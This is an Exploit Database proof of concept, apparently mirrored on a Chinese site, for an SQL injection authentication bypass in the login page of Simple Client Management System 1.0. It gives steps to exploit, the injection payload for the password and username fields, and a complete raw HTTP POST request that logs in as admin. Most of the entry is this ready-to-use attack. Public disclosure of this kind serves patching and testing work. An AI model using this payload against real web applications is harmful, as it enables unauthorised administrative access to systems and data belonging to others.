Simple Client Management System 1.0 – SQLi (Authentication Bypass)

• Exploit Database
• 14 阅读

• 作者： Sentinal920
  日期： 2021-11-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50497/

• # Exploit Title: Simple Client Management System 1.0 - SQLi (Authentication Bypass)
  # Exploit Author: Sentinal920
  # Date: 5-11-2021
  # Category: Web application
  # Vendor Homepage: https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html
  # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/cms.zip
  # Version: 1.0
  # Tested on: Kali Linux
  # Vulnerable page: Login
  # Vulnerable Parameter: "password"
  
  
  Technical description:
  An SQL Injection vulnerability exists in the Simple Client Management
  System. An attacker can leverage the vulnerable "password" parameter
  in the "Login.php" web page to authenticate as an admin user.
  
  Steps to exploit:
  1) Navigate to http://localhost/cms/admin/login.php
  2) Set username as admin and insert your payload in the password parameter
  
  Proof of concept (Poc):
  The following payload inside password will allow you to login into the
  web server as admin
  admin'or'1'%3D'1
  
  ---
  
  POST /cms/classes/Login.php?f=login HTTP/1.1
  Host: localhost
  Content-Length: 51
  Accept: */*
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  sec-ch-ua-mobile: ?0
  Origin: http://localhost
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: http://localhost/cms/admin/login.php
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: PHPSESSID=g1copl50hh7e2c8m1kenc0vikn
  Connection: close
  
  username=admin'or'1'%3D'1&password=admin'or'1'%3D'1
  
  ---